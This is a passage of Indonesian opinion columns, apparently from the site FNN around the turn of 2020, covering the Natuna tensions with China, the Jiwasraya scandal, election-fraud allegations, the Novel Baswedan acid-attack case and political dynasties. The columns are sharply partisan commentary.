mendapatkan gambaran tentang kesiapan mereka untuk melancarkan tindakan militer. Modus ekspansi laut China sangat jelas. Mereka kirim dulu kapal-kapal nelayan ke perairan Natuna. Kapal perang mereka melakukan pengawalan. Ini membuat Bakamla akan berhati-hati bertindak tegas. Sebab, di belakang kapal-kapal nelayan itu ada kapal perang RRC yang stand-by. Bakamla tentu bisa meminta bantuan ALRI. Tapi, kekuatan AL China pastilah jauh lebih besar dan lebih tangguh. Dan, kalau sampai kapal perang Indonesia terpancing menggunakan kekerasan, itu akan dijadikan alasan oleh China untuk mengerahkan armada AL mereka lebih banyak lagi ke perairan ZEEI. Setelah banyak kapal perang RRC berada di ZEEI, tentu akan muncul pertikaian verbal. China tak akan menghiraukan argumentasi verbal. Mereka tak akan pergi dari ZEEI. Kekuatan AL-nya malah akan ditambah. Dalam sejarah pertikaian ZEE di wilayah lain, penyelesaiannya tidak mudah. Setelah persoalan semakin ruwet, RRC memiliki kemampuan diplomasi untuk menghimpun dukungan internasional. Di lain pihak, mereka juga kuat dalam pengerahan militer. Apalagi belakangan ini persaingan militer di Laut China Selatan boleh dikatakan menjadi dominasi RRC. Amerika Serikat (AS) tidak lagi diperhitungkan. Perlu diingat bahwa RRC adalah kekuatan militer kedua di dunia setelah AS. China akan siap terlibat pertikaian panjang di perairan utara Natuna. Mereka akan melakukan penguasaa de-facto. Protes verbal tak akan berguna. Mau protes militer, kita tak sanggup. Pertiakan panjang akan memberikan uluran waktu bagi RRC untuk membangun pangkalan angkatan luat di wilayah itu. Setelah itu, level berikutnya adalah pencaplokan pulau-pulau kecil terluar di Kepulauan Natuna. Terutama yang tidak berpenghuni. Bahkan, pulau-pulau yang berpenghuni pun bisa dibuat “tak berpenghuni” oleh China. Harap diingat, letak geografis Natuna (bagian dari Provinsi Kepulauan Riau) cukup jauh dari bagian Indonesia lainnya. Ini membuat tindakan logistik sipil dan logistik militer menjadi berat. Dengan kekuatan militer yang dimilikinya, RRC sudah sejak lama memancing keributan. Mereka mengklaim kedaulatan atas perairan Kepulauan Spratly beserta pulau-pulaunya. China bertikai dengan Filipina, Malaysia, Vietnam, Brunei dan Taiwan. China memang belum mencaplok satu pun pulau di Kepulauan Spratly. Tetapi, sejak 2013 mereka melakukan tatik membuat pulau di dalam perairan kepulauan ini. Dari sini bisa dilihat tujuan jangka panjang China di Spratly. Sebab, kalau pulau-pulau buatan ini menjadi milik China, tentu akan diikuti dengan klaim perairan untuk pulau baru itu. Masyarakat internasional mengecam. Tapi China tutup kuping dan mata. Tidak akan ada satu negara pun, termasuk AS, yang bisa menghancurkan kembali pulau buatan tsb. Modus membuat pulau di Spatly ini harus diwaspadai. China akan menunggu peluang untuk melakukan hal yang sama di perairan Natuna. Kalau mereka sampai bisa membangun pulau di wilayah ZEEI di bagian utara Natuna, persoalan bisa sangat rumit. Dengan segala kondisi Indonesia yang ada saat ini, boleh jadi pembangunan pulau oleh China tidak terdeteksi. Kalau pun terdeteksi, Indonesia tak akan mampu mencegahnya. Paling-paling hanya nota protes. RRC tidak akan ambil pusing. Dalam jangka panjang, kekuatan militer China akan makin dahsyat. Pasti. Indonesia hanya seperti sekeping kerupuk yang tercecer di lintasan tank-tank China. Mungkin, itulah sebabnya RRC merasa sudah saatnya cari pasal di Natuna.[] 2 Januari 2020 Penulis wartawan senior.

Menanti Pansus Angket Jiwasraya

By Dr. Margarito Kamis Jakarta, FNN - Agar tidak terus-menerus menjadi tukang “cap setuju”. Tidak menjadi sub-ordinat eksekutif, tetapi juga tidak untuk membelah, memacetkan pemerintahan, melainkan demi akuntabilitas kebijakan dalam berpemerintahan, MPR melangkah maju ditahun 2001. MPR mengubah UUD 1945 yang sangat sakral dan keramat di masa Orde Baru. Dalam UUD 1945 yang dirubah tersebut, MPR membekali DPR “benteng paling hebat.” Benteng itu tertuang dalam pasal 20A UUD 1945. Benteng itu dipertalikan rasionya dengan konteks perlakuan terhadap anggota DPR di masa Orde Baru. Itu betul. Meskipun demikian, rasio kehadiran benteng itu juga dipertalikan dengan pradigma presidensialisasi. Paradigma itu bekerja melalui penghapusan Garis-garis Besar Haluan Negara (GBHN). Penghapusan GBHN mengakibatkan presiden, siapapun orangnya, tersematkan secara konstitusional sebagai aktor tunggal, bebas dalam mendefenisikan kebijakan pembangunan. Isu Konstitusional Pada masa-masa tanpa “benteng yang hebat” itu, DPR mempunyai keunikan. DPR orde baru dapat memunculkan sejumlah orang berkelas. Orang-orang seperti Ibu Aisyah Amini, Pak Zarkasih Noor, Dja’far Sidiq dan Babe Ridwan Saidi dari Fraksi PPP. Dari ABRI ada Ibu Brigjen Polisi Roekmini, dan Pak Brigjen TNI Syamsudin. Dari Fraksi Golkar ada Pak Marzuki Darusman, Pak Sarwono Kususatmadja, Pak Rahmat Witular dan Pak Tadjudin Noor Said, dan Pak Syamsul Muarif. Sedangkan dari Fraksi PDI ada Pak Aberson Marle Sihalolo, Pak Dokter Sukowaluyo dan Ibu Fatimah Ahmad. Mereka adalah sedikit di antara beberapa yang hebat. Orang-orang ini dikenal kritis terhadap serangkaian kebijakan pemerintahan Pak Harto. Pak Harto boleh saja hebat. Namun pada level tertentu, beberapa anggota DPR pada masanya, berhasil menempatkan pemikiran dan tindakan politik yang memusingkan Pak Harto. Pidato Pak Harto di Pekanbaru Riau, tentang Amandemen UUD 1945 misalnya memicu kritik keras anggota DPR dari PPP. Pak Harto, apapun sebutan orang untuk pemerintahannya, keluar menanggapinya. Beliau mengirimkan seorang menterinya untuk secara resmi menjelaskan kandungan tujuan pidatonya itu kepada DPR. Gagal meyakinkan pada pertemuan pertama, Pak Harto kembali mengirimkan menteri lain, dengan level yang lebih energik dan terampil dalam semua aspek. Harus diakui masa itu bukan masa tentang penggunaan hak interpelasi, angket dan menyatakan pendapat. Interpelasi dan angket, dua hak konstitusional itu baru digunakan pada masa pemerintahan Pak SBY. Penggunaan Hak Angket yang paling mengerikan itu terjadi tahun 2009, pada awal masa pemerintahan Pak SBY periode kedua. Kasus Bank Century menjadi objek angket itu. Walaupun tanpa dilanjutkan ke hak untuk menyatakan pendapat. Tetapi itu saja sudah sangat hebat. Hebat sekali ketika itu. Terlihat disepanjang sidang angket itu, hal-ihwal tentang rendahnya mutu akuntabilitas kebijakan menangani pengelolaan bank diselidiki dan dubuka untuk bisa diketahui oleh publik. Cukup membuat terang sejauh penggunaan angket century itu. Terutama yang berkaitan dengan jumlah uang yang dicurigai rendah derajat akuntabilitasnya. Jumlahnya hanya sampai Rp 7,4 triliun. Jumlah ini jauh lebih kecil dari Rp 13,7 triliun dalam kasus Jiwasraya. Betul kasus ini telah diselidiki oleh Kejaksaan Agung. Relatif hampir sama dengan kasus Century. Sebelum diangketkan oleh DPR, kasus Century telah diselidiki oleh Polri. Tetapi Century tetap saja diangketkan. Untuk kasus yang lain, seperti penjualan kapal super jumbo milik Pertamina Very Large Crude Carrier (VLCC), DPR terlihat membentuk “Pansus Angket VLCC “ pada tahun 2007. Ketua Pansusnya adalah Prof Dr. Hayus Lumbun, yang belakangan pensiun sebagai Hakim Agung. Padahal ujungnya Mahkamah Agung menyatakan, tidak ada kerugian negara dari penjualan kapal super jumbo VLCC. Begitu juga dengan kasus PT Pelindo Dua. Ketika itu DPR dengan mudah berhasil membentuk “Pansus Angket Pelindo Dua”. Pada tanggal 5 Oktober 2015, DPR berhasil membentuk “Pansus Angket Pelindo Dua”. Yang menjadi Ketua “Pansus Angket Pelido Dua” ketika adalah Ibu Rieke Diah Pitaloka. Meskipun kemudian, ujungnya tidak berbeda jauh dengan Century. Apakah Jiwasraya memenuhi kualifikasi isu konstitusional untuk diangketkan? Politisi akan datang dengan argument, antara satu dengan yang lainnya saling menyanggah. Termasuk berbeda dalam merespon pernyataan Presiden Jokowi tentang durasi waktu masalah yang dilintasi oleh Jiwasraya. Tetapi justru karena telah lama terjadi itulah, masuk akal didalami lebih jauh. Apa masalah dasarnya? Apakah masalahnya baru diketahui setelah peristiwa gagal bayar atau apapun istilahnya dengan jumlah sebesar Rp 13,7 triliun lebih naik ke Kejaksaan Agung? Bila telah diketahui jauh sebelumnya, masalahnya apa tindakan pemerintah? Masuk akalhkah masalah itu dibiarkan saja sebagai masalah teknis bisnis? Pantaskah secara konstitusional masalah ini dikualifikasi sebagai masalah rutin saja dalam bisnis? Apakah negara berbisnis? Bisnis ya bisa rugi, bisa juga untung. Itu alamiah. Tapi dalam konteks kasus Jiwasraya ini masalahnya tidak sederhana. Mengapa? Dari sejarahnya, secara universal bisnis ini muncul dalam kerangka pemikiran konstitusional. Kerangka dasarnya adalah memberi kepastian keamanan sosial ekonomi kepada rakyat. Disitulah letak esensi konstitusional lembaga ini. Pada titik itu, masalah ini tidak cukup diterima sebagai masalah rutin bisnis semata. Ini sudah masuk masalah konstitusional. Masalah ini terhubung. Sekali lagi terhub ung, dengan keharusan negara memberi jaminan keamanan, perlindungan atas kehidupan rakyat. Perlindungan kepada rakyat secara konstitusional merupakan kewajiban absolut negara. Itu sebabnya Franklin Delano Rosevelt, presiden Amerika pada era resesi besar ekonomi pada tahun 1930-an meluncurkan kebijakan sejenis sebagai bagian esensial Social Savety net Policy. Ya untuk memberikan jaminan perlindungan, keamanan sosial dan ekonomi kepada rakyat. Atas dasar itulah, isu Jiwasraya cukup memadai untuk dikerangkakan sebagai isu konstitusional, bukan bisnis semata. Bukan Cabang Khusus Presiden DPR secara parsial memang telah memberi tanda-tanda kecil hendak menangani masalah ini melalui dua Komisi. Mungkin dibentuk Panitia Kerja (Panja), gabungan dua Komisi. Komisi VI dan XI. Mengapa hanya Panja gabungan komisi? Mengapa tidak langsung ke angket? Angket memungkinkan semua anggota DPR terlibat, memungkinkan semua anggota dari semua Komisi terlibat. Ini tidak mungkin terjadi di Panja biasa. Disisi lain angket dibekali kewenangan subpoena. Tindakan paksa dengan konsekuensi hukum. Pansus saja tidak bisa. Tetapi memang Panja biasa lebih mudah memprosesnya. Panja biasa tidak dikerangkakan pada syarat rigid, dan relatif berat. Angket justru dikerangkakan padanya. Syarat inisiator, quorum rapat dan quorum pengambilan keputusan harus dilalui. Tidak itu saja inisiator harus menyiapkan argumen terulis. Dokumen itu harus ditandatangani minimum 25 orang. Praktis Panja biasa lebih mudah. Karena biasa saja. Berbeda secara radikal dengan Angket. Bila disetujui, maka dibentuk Pansus Angket. Namanya juga Pansus Angket. Masalahnya siapa yang mau namanya tercatat sebagai inisiator? Itu lagi soal yang besar. Sangat besar. Politisi picisan akan menandai mereka pemanggil badai, pembuat onar kecil. Itu sebabnya butuh nyali. Nyali ditentukan sejumlah faktor. Siapa yang mau mengambil risiko berat itu? Haruskah muncul tangan kuat sebagai penyokong tak terlihat? Mungkin juga tidak. Tetapi siapa yang bernyali bila politisi picisan melebel mereka sebagai pencipta politik pembelahan pemerintahan. Padahal sejarah century memperlihatkan dengan jelas tidak berakhir dengan datangnya politik dua aliran secara radikal. Negara setelah angket itu tidak jatuh ke dalam politik dua aliran. Sebut saja aliran pemerintah dan aliran non pemerintah, atau nama lain yang sama maknanya. Memang pemerintahan terbelah dalam dua aliran politik, pernah ditakutkan George Washington, John Adams dan Thomas Jefferson pada masanya. Tetapi sekali lagi ini tidak terjadi pasca angket Century. Ketakutan yang sama yang menyertai akhir pilpres 2014, nyatanya melayang juga. Polarisasi itu sangat artifisial, tidak idiologis. Polarisasi yang mirip memang terlihat saat ini. Hanya PKS, PAN dan Demokrat di luar blok pemerintah. Ini memang masalah bila dibawa ke dalam syarat angket. Penyatuan mereka tidak bakal menembus angka ½ anggota DPR untuk bisa meresmikan angket. Tetapi masalah konstitusionalnya adalah Parpol ada atau tidak dalam pemerintahan, anggota DPR ya anggota DPR. Semangat dasarnya harus semangat penyelenggara kekuasaan DPR. Semangat ini, disertai catatan kecil diperlihatkan Demokrat pada masa lalu. Mereka pastikan bahwa kendati Ketua Umumnya menjadi Presiden, mereka mungkinkan DPR bekerja menyelidiki kebijakan pemerintah. DPR, mereka pastikan tak menjadi organ khusus, subordinat pemerintah. Mereka juga tak mau mereduksi secara radikal DPR, dengan argumen politik partisan. Mereka terlihat tahu kelas mutu politik partisan itu. Mutunya sangat rendah dalam sejarah politik. Anggota DPR, demi bangsa harus bertemu pada satu titik. Titik ini bernama kepentingan konstitusional bangsa. Jenis kepentinganya bisa berupa revitalisasi akuntabilitas politik sebuah kebijakan, rule of law dan proteksi terhadap kelangsungan hidup rakyat. Harus diingatkan akuntabilitas selalu menjadi esensi, energy utama tata kelola negara. Itu absolute, dan harus diterima sebagai isu yang mengintegrasikan. Bukan sebaliknya terus terbelah, terus terpola pada arus asal jadi pro dan penantang asal-asalan pemerintah. Akan hebat bila DPR tenggelam dalam kesadaran ini. Mari menantikan pekerjaan kecil ini. Keberhasilan pekerjaan kecil ini akan menaikan derajat akuntabilitas penyelengaraan pemerintahan. Akuntabilitas itulah, yang pada level tertentu sedang dirindukan kiyai Agil Siroj, pimpinan utama NU. Belakangan ini Kiyai Agil mengungkap ketidak-konsistinan Kemenkeu memenuhi MOU dengan mereka. Kiyai ini juga bicara tentang oligarki ditubuh politik bangsa. Apa esensinya? Amburadulnya politik partisan. Politik partisan menenggelamkan mutu kehidupan berbangsa dan bernegara. Ayolah DPR. Gulirkanlah angket. * Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Tahun 2019: Kehancuran Indonesia Persneling Tiga

By Asyari Usman Jakarta, FNN - Tidak ada yang bisa dikenang sebagai sesuatu yang baik sepanjang 2019. Semua bidang kehidupan: ekonomi, bisnis, sosial, politik, penegakan hukum, peranan media, dlsb. Bidang politik mencatat rangkaian peristiwa yang semuanya sangat memprihatinkan. Ada penipuan kolosal suara rakyat di pilpres 2019. KPU yang dikangkangi oleh pemegang kekuasaan. Inilah penjaga demokrasi yang dikooptasi oleh para penguasa. Begitu juga Mahkamah Konstitusi (MK) yang cenderung tidak independen. Ada dua lagi lembaga yang juga menghamba kepada misi politik pribadi. Yaitu, Polri dan media massa. Di bawah pimpinan Tito Karnavian, Kepolisian tidak segan-segan memihak kepada Jokowi sebagai capres petahana. Polisi mengemban tugas untuk memenangkan Capres 01 di pilpes 2019. Begitu pula media massa mainstream. Tidak ada yang tak memihak Jokowi kecuali tvOne. Selebihnya bergerombol mendukung Jokowi. Tanpa akal sehat sama sekali. Media mainstream terang-terangan melacurkan diri untuk kepentingan Jokowi. Penyelenggaraan pilpres 2019 sendiri penuh dengan kecurangan dan malapetaka. Banyak muslihat dalam penghitungan suara cepat (quick count). Tak bisa dipercaya. Ada tangan-tangan kotor. Sementara itu, 600 orang petugas KPPS meninggal dunia tanpa ada penyelidikan independen. Baru pertama kali pemilu yang memangsa begitu banyak nyawa petugas. KPU hanya memberikan santunan 37 juta yang sebenarnya identik dengan penghinaan. Noda pilpres tak sampai di situ. Ada rekonsiliasi yang paling aneh di dunia. Capres 02 bergabung ke kabinet Jokowi dan menjadi salah seorang bawahan presiden yang sangat diragukan kemurnian kemenangannya itu. Aliansi ini memberikan pendidikan politik yang sangat buruk. Tapi, para pelaku mengatakan semua itu strategi. Sedangkan publik melihatnya sebagai “penyimpangan orientasi seksual di dunia politik”. Minimal bencong politik. Rekonsiliasi aneh ini bertujuan untuk menyatukan kedua kubu. Tapi, itu tak terjadi. Sebab, akal sehat dan akal sakit tak mungkin berbaur. Yang sangat fatal adalah nasib demokrasi. Rusak berat gara-gara manuver konyol para politisi sinting. Rakyat sekarang menjadi apriori dan tak percaya lagi pada demokrasi. Dari bidang politik, kehancuran Indonesia di 2019 berlanjut ke bidang ekonomi dan bisnis. Utang luar negeri bertambah terus. Pada akhir 2019, utang pemerintah ada pada posisi 4,750 (empat ribu tujuh ratus lima puluh) triliun. Tiap tahun harus disediakan hampir 400 triliun untuk cicilan. Impor menjadi “amalan rutin” pemerintah. Boleh dikatakan, tidak ada yang tak diimpor. Beras, gula, garam, kedelai, bahkan jagung. Semen dan baja. Dua komoditas terakhir ini terasa “lucu dan tak masuk akal” diimpor. Stok beras tidak kurang, tapi terus saja diimpor. Lain lagi dengan baja. Produsen baja nasional, BUMN Krakatu Steel (KS), sengaja dibunuh. Baja impor dari China menghancurkan KS. Perekonomian hanya tumbuh 5%, kata Sri Mulyani. Para ekonom mengatakan, kalau cuma 5%, tak perlu ada menteri keuangan dan institusi Ekuin lainnya. Yang paling celaka adalah pemberantasan korupsi. KPK dibonsai oleh DPR dan Jokowi. Mulai dari perangkat peraturan-perundangan KPK yang dihajar hingga babak-belur sampai pimpinan barunya yang disesuaikan dengan kebutuhan para politisi busuk. Terutama dicocokkan dengan skenario PDIP. Tentu bisa Anda tebak mengapa PDIP habis-habisan menghancurkan KPK. Di bidang sosial, kehancuran yang berlangsung sepanjang 2019 sangat dahsyat. Pengedaran dan konsumsi narkoba semakin tak terkendali. Jumlah pengguna aktif jenis Sabu, tidak berkuang dari angka 4.2 juta orang. Bahkan cenderung bertambah. Keterbelahan masyarakat semakin meruncing antara pendukung rezim zalim dan rakyat yang melawan kezaliman itu. Ini terjadi karena penguasa memihak pada pendukung mereka. Penegakan hukum sangat cepat terhadap lawan penguasa. Sebaliknya tak pernah berproses terhadap orang-orang yang mendukung penguasa. Penista agama Islam selalu bisa melenggang. Pengkritik pejabat mendekam di penjara. Belum lagi kita bicara korupsi BUMN. PT Garuda bonyok. Pimpinannya berlagak seperti pemilik. Perusahaan Asuransi tertua, Jiwasraya, kini hancur berantakan. Dengan utang puluhan triliun. Diduga, orang-orang kuat mencuri duit BUMN ini. Dalam jumlah besar. Bukan ratusa miliar, melainkan belasan triliun. Ada pula indikasi uang Jiwasraya dipakai untuk biaya pilpres 2019. Sebegitu hancurkah Indonesia? Itulah yang terjadi. Semua dalam kondisi yang mencemaskan. Laju kerusakan pada 2019 cukup tinggi. Bisakah kehancuran itu diperbaiki? Persoalannya, rem negara ini sudah blong. Rem itu adalah DPR, MPR, media massa, para tokoh bangsa. Tak berfungsi lagi. Kekuasaan presiden berjalan tanpa rem. Kehancuran itu kini berada di persneling tiga. Satu gigi lagi ke atas, masuklah kecepatan penuh. Tinggal menunggu apa yang akan ditabrak.[] 1 Januari 2020 Penulis wartawan senior.

Syamsul Lutfi, Mebangun Usaha Ekonomi Berlandaskan Persaudaraan

Oleh M Hasan Minanan Jakarta, FNN – Menjaga persatuan, merawat silaturahmi, sehingga tercipta situasi yang damai di tengah kehidupan bersosial. Begitulah makna persaudaraan yang di ungkapkan oleh Anggota Komisi II DPR RI dari Fraksi NasDem Syamsul Luthfi. Syamsul Lutfi menyampaikan pesan tersebut, pada Masyarakat di Dapilnya saat menyelenggarakan reses pertamanya. Di Desa Pengadang, Kecamatan Praya Tengah, Kabupaten Lombok Tengah. Minggu, 29 Desember 2019. Dalam pandangan Syamsul, yang juga sebagai panutan “Tokoh Agama” Lombok itu. Hidup bersosial adalah mengajarkan untuk saling mengasihi dan menyayangi diantara sesama, juga menyuruh untuk saling mengasihi dan menyayangi diantara sesama umat manusia. Jika itu, dicermat dengan baik oleh Masyarakat. Sudah pasti Masyarakat mengerti hakikat harkat dan martabat Manusia, mengerti hakikat dan martabat Manusia, Dia mengerti perkara hakikat "nilai budaya". Nilai budaya selalu terlihan baik, kalau tidak ada perpecahan, tidak ada ribut-ributan antar Warga Masyarakat. Maka, program kebijakan Pemerintah yang diberikan kepada Masyarakat, akan berjalan sesuai dengan target dan rencana. Target dan rencana itu, sepenuhnya untuk mendorong kemajuan usaha Masyarakat lokal berupa program kreatfitas Masyarakat. Deangan adanya, Program kreatifitas Masyarakat yang dibentuk, seutuhnya untuk mengatasi ketimpangan ekonomi antar Kota dan Desa, mengatasi pengangguran terbuka tingkat Desa, dan menghasilkan pemasukan ekonomi bagi keberlangsungan hidup, Rumah Tangga, Keluarga setempat. Pada kesempatan tersebut, Syamsul juga mengingatkan Fungsi Legislasi sebagai Pengawasan dan Anggaran. Mereka melalukan pengkajian dan pemetaan terkait pengelolaan Sumber Daya Ekonomi. Targetnya, menciptakan iklim usaha pada masyarakat dengan melihat potensi kekayaan Sumber Daya Alam yang dimilikinya. Sampai saat ini, Masyarakat Indonesia bahkan mancanegara, sudah mengetahui Pulau Lombok dengan sumber daya alamnya yang kaya, apalagi destinasi wisatanya yang indah. Menjadi rekomendasi tersendiri untuk pengunjung yang akan berlibur kesana. Kawasan Lombok Tengah terkenal dengan potensi wisata lautnya yang sangat beragam. tempat ini juga memiliki pontensi wisata bahari (pinggir pantai) yang terkenal. Sehingga, dinobatkan sebagai Spot Berselancar dan Sunset yang Indah (Pesona Indonesia). Dengan selaga potensi sumber daya alam yang melimpah, Masyarakat dituntut supaya mendukung paket program pemerintah, teruslah mengembangkan segala bakat dan kemampuannya. Misalnya, kreatifitas jajanan ringan, kuliner khas daerah, perhiasan dan macam-macam kreatifitas lainnya. Cara ini akan membawa Lombok Tengah maju dan menyaingi pembangunan ekonomi daerah lain, juga membawa Lombok Tengah terlihat anggun, seanggun desiran angin pagi ditepian pantai.

Ada Orang Kuat Ingin Cegah Kasus Air Keras Novel

By Asyari Usman Jakarta, FNN - Entah siapa yang punya kerja. Tiba-tiba kemarin muncul demo di depan Kejaksaan Agung. Yang berdemo menamakan diri Himpunan Aktivis Milenial (HAM). Sangat mengherakan. Selama ini tak pernah terdengar nama himpunan itu. Mereka menuntut agar kasus dugaan penganiayaan yang dilakukan Novel Baswedan, dibuka kembali. Dulu, di tahun 2004, Novel menangani kasus pencurian sarang walet ketika dia bertugas sebagai polisi di Bengkulu. Novel dituduh menganiaya para tersangka pencuri. Tapi, Kejaksaan Negeri Bengkulu menututp kasus itu pada 2016. Luar biasa ini HAM. Beberapa hari saja setelah penangkapan dua polisi aktif tersangka air keras Novel, mendadak muncul aksi demo mereka. Rapi sekali. Lengkap dengan semua aksesori demo. Harus diakui kehebatan para aktivis milenial. Terutama kehebatan para sponsornya. Demo ini sangat politis. Dengan tujuan agar kasus air keras bisa diganggu. HAM bisa menunjukkan “aksi cepat tanggap”. Generasi milenial yang patut diapresiasi. Biasanya, para milenial memihak ke KPK. Atau sekalian memihak ke café-café. Lebih banyak main gadget di situ. Tapi, kali ini, kesadaran hukum milenial yang tergabung dalam HAM, sangat tinggi. Mereka menuntut agar Novel Baswedan ditangkap dan diadili. Kelihatannya, ada segerombolan orang yang tak rela kasus air keras Novel diselesaikan tuntas. Mereka takut kedua tersangka akan menceritakan skandal besar yang mungkin akan menjatuhkan seseorang dengan posisi tinggi. Tentu HAM bebas melakukan unjuk rasa. Namun, sangat disayangkan kalau mereka tidak paham bahwa negara ini sedang diacak-acak oleh sekelompok orang yang memiliki kekuasaan besar. Gerombolan perusak negara itu berpenampilan cendekia. Tampak seperti orang bijak. Padahal, mereka adalah orang-orang yang bermental koruptif dan berpikiran brutal. Publik berharap dan yakin Kapolri Idham Aziz tidak akan kendur. Semua yang terkait dengan kasus air keras Novel, perlu diurai sampai tuntas. Termasuk kaitan antara air keras itu dengan kasus korupsi yang sedang ditangani oleh Novel dalam posisinya sebagai penyidik KPK. Novel sedang memproses 6-7 kasus korupsi waktu disirami air keras, dua setengah tahun lalu. Salah satunya diduga melibatkan seseorang yang sangat kuat di pemerintahan Jokowi. Orang inilah yang dipercaya sedang berusaha mencegah penuntasan kasus air keras.[] 30 Desember 2019 Penulis wartawan senior.

Dinasti Politik dan Skenario Lembu Peteng

Lha sekarang malah aneh. Puan jadi ketua DPR. Gibran nyoba nyalon Walkot Solo. Bukan lembu peteng. Tapi lembu padang. Berarti pertanda dinasti politik di semua lapisan sedang kepepet Oleh Hendrajit Jakarta, FNN - Biasanya, kalau anak sendiri diturunkan langsung jadi pak camat atau pak lurah, gen dinastinya sedang kepepet. Dalam skenario raja raja jawa dulu, raja malah mendukung diam diam seorang penggantinya, seolah merupakan tandingan elit kraton yang mapan. Padahal dia didorong keluar dari lingkaran kraton, untuk diplot jadi putra mahkota. Misalnya Sultan Demak Raden Patah, menggantikan raja Brawijaya V seolah olah akibat pemberontakan kerajaan Islam terhadap kerajaan Majapahit. Padahal Raden Patah juga anak kandung Brawijaya V yang justru dijagokan bapaknya. Presiden Ferdinand Marcos, diam diam menjagokan Fidel Ramos, sepupunya sendiri dan putra mantan menlu Narcisco Ramos, sebagai presiden Filipuna masa depan. Meski terinterupsi gara-gara pembunuhan terhadap Benino Aquino sehingga istrinya Cory jadi simbol oposisi melawan Marcos, namun Ramos menjadi pemain kunci bersama Cory dalam kejatuhan Marcos. Sehingga, setelah era Qory, Ramos jadi presiden Filipina berikutnya. Bahkan sempat dua periode. Raden Patah atau Ramos di era modern, inilah yang namanya Lembu Peteng. Lha sekarang malah aneh. Puan jadi ketua DPR. Gibran nyoba nyalon Walkot Solo. Bukan lembu peteng. Tapi lembu padang. Berarti pertanda dinasti politik di semua lapisan sedang kepepet. Sedang berlangsung perang senyap dan intrik para elit kraton. Dan model mereka ini, sangat takut sekali dengan istilah Suksesi Kepemimpinan Nasional. Apa sebab? Begitu oposisi berhasil melembagakan diri di luar lingkaran kraton, wacana suksesi kepemimpinan justru dipicu dari dalam kraton itu sendiri. Berarti isyarat lembu peteng akan segera merebut kekuasaan. Dan meruntuhkan dinasti lama, membangun imperium baru. Maka itu, dalam suasana gonjang ganjing langit kelap kelap kayak sekarang, rakyat harus punya skenario sendiri. Sutradara sendiri. Para aktornya sendiri. Rakyat harus mampu menyusun dan membentuk pikirannya sendiri. Dari rahim inilah akan lahir pemimpin pemimpin rakyat sejati. Bukan lembu peteng. Penulis adalah pengkaji geopolitik dan wartawan senior

Idham Azis dan Lystio Sigit Menulis Hukum

Siapa yang mengerti hakikat manusia, ia mengerti hakikat harkat dan martabat manusia. Siapa yang mengerti hakikat dan martabat manusia, dia mengerti perkara hakikat keadilan. Siapa yang tahu dan mengerti hakikat keadilan ia tak kemana keadilan itu berinduk. Seagung apa keadilan itu. Keadilan itu tak bakal mampu meremehkan, menyembunyikannya untuk alasan apapun. By Dr. Margarito Kamis Jakarta, FNN - Idham Azis baru berada di puncak pangkat dan organisasi Kepolisian. Tanggal 1 November 2019 pria asal Soppeng, Sulawesi Selatan ini resmi menyandang pangkat Jendral dan mangku jabatan Kapolri. Jendral Polisi dan Kapolri ini dikenal tidak banyak bicara. Ia, sejauh ini teridentifikasi sebagai jendral yang berjarak begitu jauh dengan diskusi teori demokrasi. Ia tak pernah terlihat sebagai sosok yang doyan bicara tentang hal non kepolisian. Tipikal ini terlihat samar-samar dimiliki pula oleh Listyo Sigit, Komandan Bareskrim baru. Dalam jabatan ini Listyo, mau tak mau harus dinaikan pangkatnya dari Irjen ke Komjen. Menarik, jabatan Kabareskirm sebelumnya dipangku oleh Idham. Sampai dititik ini keberadaan Idham dan Lystio pada pangkat dan jabatan masing-masing menjadi sangat menarik. Mengapa Idham dan mengapa Listyo? Apakah semasa di jabatan Kabareskrim, Idham telah memiliki data meyakinkan, yang detailnya membawa dirinya pada pengetahuan tak terbantahkan tentang siapa yang beralasan hukum ditetapkan jadi tersangka dalam kasus “air keras” itu? Beralasan untuk mengatakan positif. Tetapi mengapa tak diungkap saat dirinya masih kabareskrim? Berlasan untuk dianalisis. Apakah hambatan, tantangan tak terjelaskan dalam serangkaian aspek mendatanginya setiap detik dan sentimeter? Itukah tembok tak tertandingi yang dihadapinya? Itukah yang mengakibatkan Idham tidak dapat mengumumkan tersangka selagi dirinya berada di jabatan Kabareskrim itu? Dari dunia manakah hambatan dan tantangan itu mengalir? Idham sendirilah yang tahu, tentu bila semuanya ada. Setiap orang memiliki lautannya sendiri. Setiap hati punya derajatnya sendiri, juga mimpinya sendiri untuk hari ini, esok dan kelak. Itu fitrah. Alamiah. Alamiah pula bila hatinya setiap saat menemani dirnya, menagih dengan langgam menekan dan mengepung dirinya untuk menuntaskan kasus menjijikan ini. Hati yang tergoda dengan kebaikan tak akan bisa, untuk alasan apapun, berkelit, apalagi sembunyi. Tidak. Ia akan berontak, membawa pemiliknya tunduk pada kebaikan, pada kebenaran. Itukah yang membawa Idham memanggil Listyo, tentu karena Idham memercayai kesanggupan Listyo mengungkap tuntas kasus ini? Idham, Kapolri inilah yang tahu. Tak lebih. Apapun yang mungkin dalam konteks itu, faktanya keduanya telah memberi bukti yang andal, bernyali, memiliki otak dan hati. Dua Komandan hebat ini menuntun dan memandu serta memberi bobot atas hakikat tanggung jawab. Kini lorong gelap, dramaturgi, jalan berliku penuh duri dan kerikil mematikan yang dilintasi kasus ini selama 2,5 tahun, tersingkir sudah. Semua kerumitan artifisial tersingkir sudah. Semua lingkaran hitam, menjijikan dan konyol serta berat selama 2,5 tahun melayang sudah. Lalu apa yang layak dipetik sebagai pelajaran hukum, bahkan pelajaran hati dari keberhasilan awal penetapan dua tersangka ini? Lupakanlah soal politik dan sejenisnya sebagai penjelasan paling meyakinkan atas terungkapnya kasus ini. Pelajaran tak ternilai dari peristiwa penetapan dua tersangka ini adalah penegasan bahwa ketangguhan hukum, kekuatan hukum, sekaligus kebaikan hukum tidak pernah, dengan semua alasan yang tersedia bersandar pada substansi hukum. Tidak. Sama sekali tidak. Ketangguhan hukum ditentukan sepenuhnya oleh ketangguhan penegak hukum, ketangguhan orang yang menegakan hukum itu. Tidak lain selain itu. Sejarah kehebatan hukum bukan sejarah tentang substansi hukum. Sejarah kehebatan dan ketangguhan hukum adalah sejarah tentang manusia khusus, yang menegakan hukum itu. Sejarah manusia yang menegakan hukum adalah sejarah tentang orang-orang khusus. Mereka disebut khusus karena tahu bahwa menyembunyikan kebenaran, menenggelamkan keadilan adalah cara kotor terbaik yang umum, menghancurkan bangsa dan negara itu. Mereka tahu bahwa dunia politik, hukum dan demokrasi itu sendiri memiliki derajat toleransi meremehkan dan memalsukan hukum dan keadilan. Tetapi orang-oran hebat tahu bahwa demokrasi dirangsang begitu kuat oleh hasrat 